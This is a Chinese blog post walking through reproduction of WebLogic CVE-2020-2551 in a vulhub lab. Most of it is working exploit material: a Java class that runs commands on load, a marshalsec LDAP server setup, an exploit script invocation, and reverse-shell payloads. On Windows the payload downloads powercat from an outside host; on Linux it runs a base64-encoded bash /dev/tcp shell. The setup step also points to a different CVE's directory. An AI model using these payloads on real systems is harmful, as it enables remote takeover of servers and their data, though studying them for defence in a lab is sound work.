weblogic复现利用系列-2020

一、CVE-2020-2551

1.1、影响版本

CVE-2020-2551

10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0,12.2.1.4.0

1.2、环境搭建

1.进入vulhub,启动docker即可

cd /root/vulhub/weblogic/CVE-2018-2894
docker-compose up -d

2.查看启动的docker进程

docker ps

1.3、复现流程

1)、dns验证
值得说明的是,这个exp利用存在限制,当内网ip反弹shell时,只有同内网的可以接收,外网ip反弹shell,只有公网ip可以接收
Exploit.java

public class Exploit{
    public Exploit() {}
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "ping 8twpbw.dnslog.cn"}
                    : new String[]{"/bin/bash","-c", "curl 8twpbw.dnslog.cn"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

使用jdk1.6编译

javac -source 1.6 -target 1.6 Exploit.java

使用marshalsec起一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit 1099

执行利用的exp脚本

python2 cve-2020-2551.py 192.168.52.132:7001 11.11.11.11:1099

2)、反弹shell,只需更改Exploit.java文件即可
Rshell.java

public class Rshell{
    public Rshell() {}
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "powershell \"IEX (New-Object System.Net.Webclient).DownloadString('http://11.11.11.11/powercat.ps1'); powercat -c 11.11.11.11 -p 9999 -e powershell\""}
                    : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Rshell e = new Rshell();
    }
}
posted @ 2020-08-03 19:10  qianxinggz  阅读(196)  评论(0编辑  收藏  举报